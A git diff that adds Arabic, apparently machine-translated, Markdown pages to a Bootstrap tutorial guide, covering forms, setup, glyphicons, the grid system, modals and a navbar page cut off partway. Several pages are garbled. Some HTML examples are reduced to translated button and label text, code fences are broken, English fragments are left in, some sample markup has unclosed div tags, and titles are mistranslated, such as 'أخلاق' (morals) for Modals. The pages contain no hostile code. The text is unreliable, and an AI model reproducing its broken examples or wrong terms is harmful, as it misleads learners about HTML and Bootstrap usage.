+
+تحويل النقدية
+
+ `Bootstrap forms allow the programmer to use classes to easily make HTML forms presentable and responsive. 
+ Take the following simple form: 
+ 
+ ![](https://siamcomm.com/wp-content/uploads/2017/10/Forms-·-Bootstrap.png) 
+` 
+
+أتش تي أم أل
+
+عنوان بريد الكتروني  لن نشارك بريدك الإلكتروني مطلقًا مع أي شخص آخر.
+
+كلمه السر 
+
+ تفقدني 
+
+خضع
+
+ ``Individual form fields and the associated label should be wrapped in a `<div>` with a class of `form-group`. One exception to this is when using checkbox field where `form-check` should be used instead of `form-group`. 
+ 
+ The `<input>` tag should be given a class of `form-control`. 
+ 
+ The `<button>` tag should be given the classes of `btn btn-primary`. 
+ 
+ #### More Information: 
+ <!-- Please add any articles you think might be helpful to read before writing the article --> 
+ [The official BootStrap documentation is very helpful](http://getbootstrap.com/docs/4.0/components/forms/) 
+ 
+ ![Inline Form 3](https://github.com/TroyB12/Pictures/blob/master/Inline%20Form3.PNG) 
+ 
+ #### Horizontal Form 
+ In combination with Bootstrap's predefined grid classes to align labels and groups of form controls in a horizontal layout by adding `.form-horizontal` to the form. Doing so changes `.form-group`s to behave as grid rows, so no need for `.row`. 
+`` 
+
+أتش تي أم أل
+
+البريد الإلكتروني
+
+كلمه السر
+
+ تذكرنى 
+
+تسجيل الدخول
+
+\`\` \`
+
+![نموذج أفقي](https://github.com/TroyB12/Pictures/blob/master/Horizontal%20Form.PNG)
\ No newline at end of file
diff --git a/client/src/guide/arabic/bootstrap/get-started/index.md b/client/src/guide/arabic/bootstrap/get-started/index.md
new file mode 100644
index 0000000000..1b4f1d6c12
--- /dev/null
+++ b/client/src/guide/arabic/bootstrap/get-started/index.md
@@ -0,0 +1,36 @@
+---
+title: Get Started
+localeTitle: البدء
+---
+## البدء
+
+Bootstrap هو إطار مجاني ومفتوح المصدر تم تطويره بواسطة Twitter ، ويوفر مجموعة متنوعة من القوالب للاستخدام مع تطوير الواجهة الأمامية. يجعل استخدام Bootstrap من السهل تصميم موقع ويب متجاوب تمامًا وهو إطار يستحق التعلم.
+
+#### ما هو موقع الويب المتجاوب
+
+موقع الويب المتجاوب هو موقع ويب يقوم بتغيير حجم وإعادة ترتيب تلك العناصر على الصفحة بناءً على حجم متصفحك. باستخدام موقع ويب متجاوب إذا كنت تغير حجم متصفحك ، يمكنك مشاهدة التغييرات تحدث في الوقت الفعلي. Bootstrap يجعل موقعك يستجيب لك.
+
+#### كيف أقوم بإضافة Bootstrap إلى صفحتي
+
+تعد إضافة bootstrap إلى صفحتك عملية سريعة ، فما عليك سوى إضافة ما يلي إلى `<head>` العلامات في شفرتك.
+
+ `
+<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous"> 
+` 
+
+سوف تحتاج أيضا إلى إضافة ما يلي بين `body` العلامات في التعليمات البرمجية. باستخدام Bootstrap ، ستستخدم علامات `<div>` عند استخدام العديد من ميزات Bootstrap ، وستحتوي كل علامة على مجموعة فريدة من الفئات المطبقة التي تسمح للعلامة بتنفيذ مهمتها. ستعرض الأقسام الأخرى من دليل Bootstrap هذا المزيد من الأمثلة عن كيفية استخدام Bootstrap `<div>` . (العلامات `<div>` ليست حصرية لـ Bootstrap ، ومع ذلك فإن Bootstrap تستفيد منها.). وفيما يلي التعليمات البرمجية التي سوف شأنه أن يضيف إلى `body` العلامات في التعليمات البرمجية لإنهاء بدء العمل. ضع في اعتبارك أنه أثناء إنشاء الحاوية ، ستظل الصفحة فارغة حتى تضيف محتوى إلى الحاوية.
+
+ `
+<div class="alert alert-success" role="alert"> 
+    <strong>Congratulations!</strong> 
+    <p>Bootstrap is now working on this page</p> 
+ </div> 
+` 
+
+**تهانينا!**
+
+يعمل Bootstrap الآن على هذه الصفحة
+
+#### معلومات اكثر
+
+*   [موقع Bootstrap الرسمي](http://getbootstrap.com/getting-started/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/bootstrap/glyphicon-components/index.md b/client/src/guide/arabic/bootstrap/glyphicon-components/index.md
new file mode 100644
index 0000000000..9f5478e199
--- /dev/null
+++ b/client/src/guide/arabic/bootstrap/glyphicon-components/index.md
@@ -0,0 +1,25 @@
+---
+title: Glyphicon Components
+localeTitle: مكونات غليفيكون
+---
+## مكونات غليفيكون
+
+يتضمن Bootstrap 3 260 glyphicons. Glyphicons عادةً ليست مجانية ، ولكن منشئها جعلها متاحة لـ Bootstrap مجانًا. كشكر لك ، يجب عليك تضمين رابط إلى Glyphicons كلما أمكن ذلك.
+
+استخدم glyphicons في النص أو التنقل أو الأزرار أو النماذج أو أشرطة الأدوات.
+
+## أمثلة
+
+ `
+<p>Star icon: <span class="glyphicon glyphicon-star"></span></p> 
+ <p>Refresh icon: <span class="glyphicon glyphicon-refresh"></span></p> 
+ <p>Envelope icon: <span class="glyphicon glyphicon-envelope"></span></p> 
+` 
+
+## ملحوظة
+
+Bootstrap 4 أسقطت Glyphicons. يمكنك استخدام [Font Awesome Icons](http://fontawesome.io/icons/) بدلاً من ذلك.
+
+#### معلومات اكثر:
+
+[Bootstrap 3 المستندات الرسمية على Glyphicons](https://getbootstrap.com/docs/3.3/components/#glyphicons) [الموقع الرسمي لغليفيكونز](https://glyphicons.com/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/bootstrap/grid-examples/index.md b/client/src/guide/arabic/bootstrap/grid-examples/index.md
new file mode 100644
index 0000000000..011c34ece2
--- /dev/null
+++ b/client/src/guide/arabic/bootstrap/grid-examples/index.md
@@ -0,0 +1,112 @@
+---
+title: Grid Examples
+localeTitle: أمثلة الشبكة
+---
+## أمثلة الشبكة
+
+#### شجرة أعمدة متساوية
+
+ `
+<div class="container"> 
+  <div class="row"> 
+    <div class="col-sm"> 
+      One of three columns 
+    </div> 
+    <div class="col-sm"> 
+      One of three columns 
+    </div> 
+    <div class="col-sm"> 
+      One of three columns 
+    </div> 
+  </div> 
+ </div> 
+` 
+
+ينشئ المثال أعلاه ثلاثة أعمدة متساوية العرض على الأجهزة الصغيرة والمتوسطة والكبيرة ، والكبير جدًا باستخدام فئات الشبكة المحددة مسبقًا. يتم توسيط تلك الأعمدة في الصفحة مع الأصل. `.container` .
+
+#### ثلاثة أعمدة غير متساوية
+
+ `
+ <div class="row"> 
+  <div class="col-sm-3">.col-sm-3</div> 
+  <div class="col-sm-6">.col-sm-6</div> 
+  <div class="col-sm-3">.col-sm-3</div> 
+ </div> 
+` 
+
+#### اثنان أعمدة غير متساوية
+
+ `
+ <div class="row"> 
+  <div class="col-sm-4">.col-sm-4</div> 
+  <div class="col-sm-8">.col-sm-8</div> 
+ </div> 
+` 
+
+#### أعمدة مع اثنين من الأعمدة المتداخلة
+
+ `
+ <div class="row"> 
+  <div class="col-sm-8"> 
+    .col-sm-8 
+    <div class="row"> 
+      <div class="col-sm-6">.col-sm-6</div> 
+      <div class="col-sm-6">.col-sm-6</div> 
+    </div> 
+  </div> 
+  <div class="col-sm-4">.col-sm-4</div> 
+ </div> 
+` 
+
+#### مختلط موبايل وسطح المكتب
+
+\`\` \`أتش تي أم أل
+
+.col-xs-7 .col-sm-6 .col-lg-8
+
+.col-xs-5 .col-sm-6 .col-lg-4
+
+.col-xs-6 .col-sm-8 .col-lg-10
+
+.col-xs-6 .col-sm-4 .col-lg-2
+
+ ``#### Clear Floats 
+ 
+ Clear floats (with the `.clearfix` class) at specific breakpoints to prevent strange wrapping with uneven content: 
+`` 
+
+أتش تي أم أل
+
+العمود 1 تغيير حجم نافذة المتصفح لمعرفة التأثير.
+
+العمود 2
+
+العمود 3
+
+العمود 4
+
+ ``#### Offsetting Columns 
+ Move columns to the right using `.col-md-offset-*` classes. These classes increase the left margin of a column by * columns: 
+`` 
+
+أتش تي أم أل
+
+.col-sm-5 .col-md-6
+
+.col-sm-5 .col-sm-offset-2 .col-md-6 .col-md-offset-0
+
+ ``#### Push And Pull - Change Column Ordering 
+ Change the order of the grid columns with `.col-md-push-*` and `.col-md-pull-*` classes: 
+`` 
+
+أتش تي أم أل
+
+.col-sm-4 .col-sm-push-8
+
+.col-sm-8 .col-sm-pull-4
+
+\`\` \`
+
+#### معلومات اكثر:
+
+[Bootstrap الشبكة](https://getbootstrap.com/docs/4.0/layout/grid/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/bootstrap/grid-system/index.md b/client/src/guide/arabic/bootstrap/grid-system/index.md
new file mode 100644
index 0000000000..8d58850727
--- /dev/null
+++ b/client/src/guide/arabic/bootstrap/grid-system/index.md
@@ -0,0 +1,169 @@
+---
+title: Grid System
+localeTitle: نظام الشبكة
+---
+## نظام الشبكة
+
+باختصار ، يساعدك نظام Bootstrap الشبكي على إنشاء تخطيطات متجاوبة ، وهو يشتمل على نظام من الصفوف والأعمدة يساعدك في بناء المحتوى الخاص بك.
+
+الصفوف هي مجموعات أفقية من الأعمدة ، بحد أقصى 12 عمودًا لكل صف. داخل كل صف ، يتم وضع المحتوى داخل الأعمدة ويمكن أن يمتد في أي مكان بين 1 إلى 12 عمودًا.
+
+يحتوي Bootstrap على خمسة أنواع مختلفة من طبقات الشبكة ، وهي صغيرة جدًا ، وصغيرة ، ومتوسطة ، وكبيرة ، وكبيرة جدًا ، وهناك نقطة توقف محددة لكل طبقة من طبقات الشبكة هذه.
+
+يستخدم Bootstrap وحدات البكسل لتعريف نقاط التوقف الخاصة بطبقات الشبكة ، وعروض العرض المختلفة التي تعمل كنقاط نقاط لمستويات الشبكة هي:
+
+#### كيف تعمل
+
+###### حاوية
+
+الحاوية هي معظم العناصر الخارجية التي _ستحتوي على_ الشبكة الخاصة بك ، وتستخدم `container` عرض ثابتة في منتصف الشاشة (هامش إضافي على الشاشات الأكبر) أو `container-fluid` لعرض كامل.
+
+ `<div class="container"></div> 
+` 
+
+###### صف
+
+استخدم `row` لتجميع الأعمدة الخاصة بك ، وهذا سيبقي كل شيء مصفوفًا بشكل صحيح ويساعدك في بناء شبكتك.
+
+ `<div class="row"></div> 
+` 
+
+###### أعمدة
+
+تشير فئات العمود إلى عدد الأعمدة التي ترغب في استخدامها من أصل 12 لكل صف محتمل. على سبيل المثال `col-sm-6` سيعني `col-sm-6` أن عمودك سيستخدم نصف عرض `row` على شاشة صغيرة ، وسوف يستخدم `col-lg-4` ما يصل إلى الثلث على شاشة كبيرة.
+
+إليك كيفية تعريف بادئة فئة لاستخدام عرض عمود واحد على أحجام الشاشات المختلفة:
+
+*   **إضافي صغير** `col-1`
+*   **صغير** `col-sm-1`
+*   **متوسطة** `col-md-1`
+*   **كبير** `col-lg-1`
+*   **إضافي كبير** `col-xl-1`
+
+ `<div class="col-sm-1"></div> 
+` 
+
+#### مثال
+
+شبكة بعرض كامل تحتوي على أربعة أعمدة ، كل منها يشغل صفًا كاملاً على شاشات xs ، ونصف صف على الشاشات sm و md ، وربع عرض الصف على الشاشات الكبيرة وما فوقها.
+
+ `<div class="container-fluid"> 
+  <div class="row"> 
+    <div class="col-12 col-sm-6 col-lg-4">First Column</div> 
+    <div class="col-12 col-sm-6 col-lg-4">Second Column</div> 
+    <div class="col-12 col-sm-6 col-lg-4">Third Column</div> 
+    <div class="col-12 col-sm-6 col-lg-4">Forth Column</div> 
+  </div> 
+ </div> 
+` 
+
+_لاحظ أنه لم يتم تعريف `col-md` و `col-xl` ، حيث لم يتم تعريف الحجم ، سيتم تعيينه افتراضيًا إلى الحجم الأصغر التالي الذي تم تحديده._
+
+يوفر Bootstrap نظام شبكة عمود 12 جاهز للاستخدام في التخطيطات. خذ بعين الاعتبار التعليمة البرمجية التالية.
+
+ `
+   <div class="container"> 
+    <div class="row"> 
+        <div class="col-md-6">Content</div> 
+        <div class="col-md-6">Content</div> 
+    <div> 
+   </div> 
+` 
+
+أين:
+
+ `- col = column 
+ - md = screen size 
+ - 6 = column width 
+` 
+
+وباعتباره نظام شبكة عمود 12 ، يجب أن يضيف كل عرض عمود الشبكة المحدد من قبل المستخدم ما يصل إلى 12.
+
+يمكن تعيين قيم حجم الشاشة على النحو التالي:
+
+*   xs - <768px Phones
+    
+*   sm - <992px Tablets
+    
+*   MD - <1200px أجهزة الكمبيوتر المحمولة
+    
+*   lg -> 1200px Desktops
+    
+    Bootstrap هو الأول المحمول ومتجاوب.
+    
+    يعني الجوال أولاً أن تخطيط الشبكة سيستجيب تلقائيًا للشاشات الأصغر حجمًا. ثم يحدد HTML تخطيط الشبكة للشاشات الأكبر حجمًا.
+    
+
+توضح التعليمة البرمجية والصورة التاليان ما هو ممكن باستخدام عرض الأعمدة المختلفة.
+
+ `
+    <div class="container"> 
+        <div class="row"> 
+            <div class="example col-md-6">Content</div> 
+            <div class="example col-md-6">Content</div> 
+        <div> 
+    </div> 
+ 
+    <div class="container"> 
+        <div class="row"> 
+            <div class="example col-md-4">Content</div> 
+            <div class="example col-md-4">Content</div> 
+            <div class="example col-md-4">Content</div> 
+        <div> 
+    </div> 
+ 
+    <div class="container"> 
+        <div class="row"> 
+            <div class="example col-md-3">Content</div> 
+            <div class="example col-md-3">Content</div> 
+            <div class="example col-md-3">Content</div> 
+            <div class="example col-md-3">Content</div> 
+        <div> 
+    </div> 
+ 
+    <div class="container"> 
+        <div class="row"> 
+            <div class="example col-md-2">Content</div> 
+            <div class="example col-md-2">Content</div> 
+            <div class="example col-md-2">Content</div> 
+            <div class="example col-md-2">Content</div> 
+            <div class="example col-md-2">Content</div> 
+            <div class="example col-md-2">Content</div> 
+        <div> 
+    </div> 
+ 
+    <div class="container"> 
+        <div class="row"> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+        </div> 
+    </div> 
+` 
+
+![12-العقيد الشبكة](https://github.com/bflatt72/bflatt72.github.io/blob/master/img/bootstrapgrid1.png)
+
+#### معلومات اكثر:
+
+[Bootstrap Docs - نظام الشبكة](https://getbootstrap.com/docs/4.0/layout/grid/)
+
+_يعتمد هذا الدليل على Bootstrap v4 (سوف يعمل مع v3 باستثناء أن الشاشات الصغيرة الإضافية تُعرَّف على أنها `xs` وليس هناك حجم `xl` )_
+
+*   كبير جدًا: **عرض العرض> 1200 بكسل**
+*   كبير: **عرض إطار العرض> = 992 بكسل**
+*   متوسط: **عرض العرض> = 768 بكسل**
+*   صغير: **عرض العرض> = 576 بكسل**
+*   صغير جدًا: **عرض إطار العرض أقل من 576 بكسل**
+
+#### معلومات اكثر:
+
+https://getbootstrap.com/docs/4.0/layout/grid/
\ No newline at end of file
diff --git a/client/src/guide/arabic/bootstrap/icons/index.md b/client/src/guide/arabic/bootstrap/icons/index.md
new file mode 100644
index 0000000000..479c26a715
--- /dev/null
+++ b/client/src/guide/arabic/bootstrap/icons/index.md
@@ -0,0 +1,51 @@
+---
+title: Icons
+localeTitle: الرموز
+---
+## الرموز
+
+يوفر لك إطار Bootstrap Glyphicons للرمز. لا يتضمن Bootstrap مكتبة الرموز افتراضيًا ، ولكنه يحتوي على مجموعة من التوصيات لتختار منها. في حين أن معظم مجموعات الرموز تتضمن تنسيقات ملفات متعددة ، إلا أننا نفضل تطبيقات SVG لتحسين إمكانية الوصول والدعم المتجه.
+
+### كيف تستعمل
+
+لاستخدام رمز Bootstrap ، أنشئ علامة span مع `glyphicon` الفئة الأساسية وفئة `glyphicon` الفردية. استخدمها فقط على العناصر التي لا تحتوي على محتوى نصي ولا تحتوي على عناصر فرعية.
+
+**مثال الكود:**
+
+`<span class="glyphicon glyphicon-search" aria-hidden="true"></span>`
+
+`<span class="glyphicon glyphicon-cog"></span>`
+
+يوفر لك إطار Bootstrap أكثر من 250 رمزًا تسمى الحروف الرسومية. أنها تأتي في تنسيق الخط من مجموعة Glyphicon Halflings.
+
+### كيف تستعمل
+
+لاستخدام رموز bootstrap ، يمكنك ببساطة إنشاء علامة `<span>` وتطبيق فئة CSS المناسبة للأيقونة. تم توفير مثال على التعليمات البرمجية أدناه.
+
+**مثال الكود:**
+
+`<span class="glyphicon glyphicon-search" aria-hidden="true"></span>`
+
+### Bootstrap Glyphicon Class List
+
+هذا مثال على فئات CSS التي يوفرها bootstrap من أجل glyphicons. أكثر منهم متاح [هنا](https://getbootstrap.com/docs/3.3/components/#glyphicons)
+
+`.glyphicon glyphicon-plus` هذا هو رمز إضافة / إضافة bootstrap.
+
+`.glyphicon glyphicon-trash` هذا هو رمز سلة المهملات / حذف bootstrap.
+
+_ملاحظة: لا تقم بتضمين النقطة في سمة فئة HTML ، يتم استخدام الإشارة إلى الفئات ذات النقطة فقط عند ضبط الفئات في CSS._
+
+### أيقونة Bootstrap في الأزرار
+
+ `
+  <button type="button" class="btn btn-default" aria-label="Left Align"> 
+    <span class="glyphicon glyphicon-align-left" aria-hidden="true"></span> 
+  </button> 
+` 
+
+_ملاحظة: رمز Glyphicons الخاص ب Bootstrap غير متوفر على bootstrap V4_
+
+### معلومات اكثر:
+
+*   [Bootstrap Glyphicons Icons Doc](https://getbootstrap.com/docs/3.3/components/#glyphicons)
\ No newline at end of file
diff --git a/client/src/guide/arabic/bootstrap/index.md b/client/src/guide/arabic/bootstrap/index.md
new file mode 100644
index 0000000000..b5e92ddb88
--- /dev/null
+++ b/client/src/guide/arabic/bootstrap/index.md
@@ -0,0 +1,81 @@
+---
+title: Bootstrap
+localeTitle: التمهيد
+---
+## التمهيد
+
+Bootstrap هو إطار أمامي شهير لتطوير الويب. يحتوي على مكونات سابقة التصميم وعناصر تصميم لمحتوى محتوى HTML. المتصفحات الحديثة مثل Chrome و Firefox و Opera و Safari و Internet Explorer تدعم Bootstrap.
+
+يتضمن Bootstrap نظام شبكة استجابة لتنسيقات متفاوتة. إنها نقطة انطلاق رائعة لإنشاء موقع ويب ملائم للجوّال. كما يتضمن أيضًا وظائف JavaScript اختيارية ، مثل المحتوى القابل للطي ، والعناقيد الدوارة ، والموديلات.
+
+#### تاريخ النسخة
+
+قام تويتر في الأصل بتطوير إطار Bootstrap كأداة داخلية. أصدروا ذلك كمشروع مفتوح المصدر في أغسطس من عام 2011.
+
+تم إصدار Bootstrap 2 في يناير 2012. إحدى الميزات الأساسية كانت تقديم نظام شبكة استجابة 12 عمودًا. ظهر Bootstrap 3 في شهر أغسطس من عام 2013 ، حيث تحول إلى تصميم مستوٍ ونهج متحرك أولاً. يتوفر Bootstrap 4 في الإصدار التجريبي اعتبارًا من آب 2017 ، ويشمل الآن Sass و Flexbox.
+
+كان Bootstrap 4 قيد التطوير لمدة عامين قبل إصدار بعض الإصدارات التجريبية خلال عام 2017 ، في حين أن الإصدار الثابت الأول كان في يناير عام 2018. بعض التغييرات البارزة تشمل:
+
+*   انتقلت من أقل إلى ساس.
+*   انتقل إلى Flexbox ونظام الشبكة المحسنة ؛
+*   البطاقات المضافة (استبدال الآبار ، الصور المصغرة ، واللوحات) ؛
+*   وأكثر بكثير!
+
+في وقت الكتابة ، الإصدار الأخير لـ Bootstrap هو \[4.1.3\] (http://blog.getbootstrap.com/2018/07/24/bootstrap-4-1-3/ ). إذا كنت ترغب في مواكبة أي أخبار للإعلانات ، فاتبعها [هنا](http://blog.getbootstrap.com/) .
+
+#### التركيب
+
+هناك خياران رئيسيان لإضافة Bootstrap إلى مشروع الويب الخاص بك. يمكنك الربط بمصادر متاحة للجمهور ، أو تنزيل إطار العمل مباشرة.
+
+##### الربط بمصدر آخر
+
+يمكنك إضافة Bootstrap CSS عن طريق استخدام عنصر `<link>` داخل `<head>` لصفحة الويب الخاصة بك التي تشير إلى شبكة تسليم المحتوى (CDN):
+
+`<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous">`
+
+تشبه إضافة عناصر JavaScript الخاصة بـ Bootstrap عناصر `<script>` الموضوعة عادة في الجزء السفلي من ' "العلامة. قد تحتاج إلى تضمين بعض التبعيات أولاً. انتبه بشكل خاص للترتيب المدرج:
+
+ `
+<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script> 
+ <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script> 
+ <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script> 
+` 
+
+_ملاحظة: هذه أمثلة فقط وقد تتغير دون إشعار. يرجى الرجوع إلى CDN للوصلات الحالية لتضمينها في مشروعك._
+
+##### تحميل ملف التثبيت
+
+يمكنك تنزيل وتثبيت الملفات المصدر Bootstrap مع Bower أو Composer أو Meteor أو npm. هذا يسمح بمزيد من التحكم وخيار لتضمين أو استبعاد وحدات حسب الحاجة.
+
+`npm install bootstrap`
+
+`gem 'bootstrap', '~> 4.1.3'`
+
+\_Note: هذه أمثلة فقط وقد تتغير دون إشعار. يرجى الرجوع إلى \_ [Bootstrap website](https://getbootstrap.com/) \_ للحصول على أحدث الروابط .\_
+
+#### نظام Bootstrap الشبكة
+
+نظام الشبكة هو نظام مرن متحرك أول لسرعة بناء مخططات من جميع الأشكال والأحجام المناسبة على جميع الأجهزة. تعتمد على تخطيط 12 عمودًا وتحتوي على طبقات متعددة ، واحدة لكل نطاق من نطاقات استعلام الوسائط.
+
+يأتي Bootstrap مع فئات الشبكة المحددة مسبقًا لاستخدامك في الترميز. شاهد المزيد من التفاصيل والأمثلة على https://getbootstrap.com/docs/4.1/layout/grid/
+
+### ميزات Boostrap
+
+*   يدعم Bootstrap 3 أحدث الإصدارات من Google Chrome و Firefox و Internet Explorer و Opera و Safari (باستثناء Windows). بالإضافة إلى ذلك يدعم العودة إلى IE8 وأحدث إصدار دعم تمديد فَيَرفُكس (ESR). \[12\]
+    
+*   منذ 2.0 ، يدعم Bootstrap تصميم الويب سريع الاستجابة. هذا يعني أن تخطيط صفحات الويب يضبط بشكل ديناميكي ، مع الأخذ في الاعتبار خصائص الجهاز المستخدم (سطح المكتب ، الكمبيوتر اللوحي ، الهاتف المحمول).
+    
+*   بدءًا من الإصدار 3.0 ، اعتمدت Bootstrap فلسفة التصميم المتنقلة الأولى ، مع التركيز على التصميم سريع الاستجابة بشكل افتراضي.
+    
+*   وأضاف الإصدار 4.0 دعم ساس و flexbox
+    
+
+#### معلومات اكثر:
+
+يحتوي Bootstrap على توثيق شامل مع العديد من [الأمثلة](https://getbootstrap.com/docs/4.0/examples/) [ونموذج HTML للبدء](https://getbootstrap.com/docs/4.0/getting-started/introduction/) (يحتوي هذا القالب على برنامج نصي فقط ؛ ولا يحتوي على إعداد نظام الشبكة إذا كان هذا هو ما تبحث عنه).
+
+بالإضافة إلى ذلك ، يمكنك العثور على كل من [الحرة](https://bootswatch.com/) [والمدفوعة](https://themes.getbootstrap.com/) موضوعات تعتمد على إطار Bootstrap لتوفير مظهر أكثر تخصيصًا وأنيقًا.
+
+#### موارد Bootstrap:
+
+[مدونة Bootstrap الرسمية](http://blog.getbootstrap.com/) [إلهام موقع Bootstrap](http://expo.getbootstrap.com/) [عرض المواقع التي تم إنشاؤها باستخدام Bootstrap](http://builtwithbootstrap.com/) [HTML linter للمشاريع التي تستخدم Bootstrap](https://github.com/twbs/bootlint) [عناصر التصميم ومقتطفات الشفرة الخاصة بـ Bootstrap](https://bootsnipp.com/) [الرمز والموضوع والموارد الإضافية لبرنامج Bootstrap](http://expo.getbootstrap.com/resources/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/bootstrap/modals/index.md b/client/src/guide/arabic/bootstrap/modals/index.md
new file mode 100644
index 0000000000..d1669fa991
--- /dev/null
+++ b/client/src/guide/arabic/bootstrap/modals/index.md
@@ -0,0 +1,88 @@
+---
+title: Modals
+localeTitle: أخلاق
+---
+## شرطية
+
+النماذج عبارة عن نوافذ منبثقة لتوفير معلومات مهمة قبل مواصلة المتابعة.
+
+لإنشاء مربعات حوار / نوافذ منبثقة أعلى الصفحة الحالية يوفر Bootstrap ملحقًا مشروطًا.
+
+#### مثال الكود:
+
+ `
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+    <meta charset="utf-8"> 
+    <meta name="viewport" content="width=device-width"> 
+    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> 
+ 
+ <!-- jQuery library --> 
+    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script> 
+ 
+ <!-- Latest compiled JavaScript --> 
+    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> 
+ </head> 
+ 
+  <body> 
+ 
+ <!-- Triggering the modal popup --> 
+   <button type="button" class="btn btn-default" data-toggle="modal" data-target="#myModal">Open Modal</button> 
+ 
+  <!-- Modal popup --> 
+ 
+   <div class="modal fade" id="myModal"> 
+       <div class="modal-dialog"> 
+ 
+  <!-- Modal Content --> 
+            <div class="modal-content"> 
+              <div class="modal-header"> 
+                <button  type="button" data-dismiss="modal" class="close">&times;</button> 
+                <h4 class="modal-title">Modal Header</h4> 
+              </div> 
+ 
+              <div class="modal-body"> 
+                Do you wish to continue? 
+              </div> 
+ 
+              <div class="modal-footer"> 
+                <button class="btn btn-default"  data-dismiss="modal">close</button> 
+              </div> 
+ 
+            </div> 
+        </div> 
+ 
+   </div> 
+ 
+ </body> 
+ </html> 
+` 
+
+#### فهم السمات والفئات المستخدمة:
+
+a) `data-toggle = "modal"` : يُفتح الملف.
+
+ب) `data-target` : يشير إلى معرف النموذج الذي يتم فتحه.
+
+c) `data-dismiss="modal"` : يؤدي هذا إلى إغلاق النافذة المنبثقة عند النقر فوق زر الإغلاق.
+
+د) `.modal` فئة `.modal` محتويات `<div>` كطريقة `.modal` .
+
+ه) `.modal-dialog` فئة `.modal-dialog` الارتفاع المناسب وعرض مربع الحوار.
+
+f) أنماط فئة `.modal-content` -modal modal.It يحتوي على أقسام رأس والجسم وتذييل الصفحة.
+
+g). `.modal-header` فئة `.modal-header` إلى مقطع الرأس في `.modal-header` (العنوان وزر (×)).
+
+ح) أنماط الطبقة `.modal-title` رأس الوسائط مع ارتفاع مناسب.
+
+ط) أنماط الطبقة `.modal-body` من الوسائط (الحوار / المنبثقة). يمكن أن يكون لها علامات أخرى مثل `<p>,<img>,<video>` إلخ.
+
+ط) أنماط الطبقة `.modal-footer` الصفحة تذييل الوسائط.
+
+#### معلومات اكثر :
+
+[Bootstrap مشروط](https://bootstrapbay.com/blog/working-bootstrap-modal/)
+
+إذا كنت ترغب في استكشاف **__Bootstrap 4.0 (إصدار Alpha)__** : [Bootstrap Modal v4.0](https://getbootstrap.com/docs/4.0/components/modal/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/bootstrap/navigation-bar/index.md b/client/src/guide/arabic/bootstrap/navigation-bar/index.md
new file mode 100644
index 0000000000..063b38334b
--- /dev/null
+++ b/client/src/guide/arabic/bootstrap/navigation-bar/index.md
@@ -0,0 +1,172 @@
+---
+title: Navigation Bar
+localeTitle: شريط التنقل
+---
+## شريط التنقل
+
+يوفر لك إطار Bootstrap أشرطة تنقل ميزة المكالمة. باختصار شريط تنقل (يُشار إليه أيضًا باسم navbars) هو رأس في أعلى الصفحة لعرض معلومات التنقل.
+
+#### كيف تستعمل
+
+لاستخدام أشرطة تنقل Bootstrap ، يمكنك إضافة عنصر `<nav>` إلى الجزء العلوي داخل عنصر `<body>` في صفحة الويب الخاصة بك. هناك أنماط متعددة يمكنك إضافتها لتخصيص عرض navbars الخاص بك.
+
+#### مثال الكود
+
+هذه هي الشفرة اللازمة لإنشاء شريط تنقل أساسي.
+
+ `
+<nav class="navbar navbar-default"> 
+  <div class="container-fluid"> 
+    <div class="navbar-header"> 
+      <a class="navbar-brand" href="#">Site Name</a> 
+    </div> 
+    <ul class="nav navbar-nav"> 
+      <li class="active"><a href="#">Home</a></li> 
+      <li><a href="#">Page 1</a></li> 
+      <li><a href="#">Page 2</a></li> 
+      <li><a href="#">Page 3</a></li> 
+    </ul> 
+  </div> 
+ </nav> 
+` 
+
+#### أنماط Navbar
+
+يوفر Bootstrap مجموعة من الفئات في إطار Bootstrap لتكوين navbars الخاص بك. هذه الفئات هي كما يلي:
+
+*   `navbar navbar-default` هذا هو النمط الافتراضي لشارات Navbars الخاصة بك.
+*   `navbar navbar-inverse` يشبه هذا النمط الافتراضي باستثناء الألوان المقلوبة.
+
+#### إضافة القوائم المنسدلة إلى شريط التنقل
+
+يمكنك تضمين قائمة منسدلة داخل شريط التنقل. تتطلب هذه الميزة تضمين ملف javascript في Bootstrap حتى يعمل.
+
+ `
+<li class="dropdown"> 
+  <a class="dropdown-toggle" data-toggle="dropdown" href="#">Drop down 
+    <span class="caret"></span> 
+  </a> 
+ <ul class="dropdown-menu"> 
+    <li><a href="#">Item 1</a></li> 
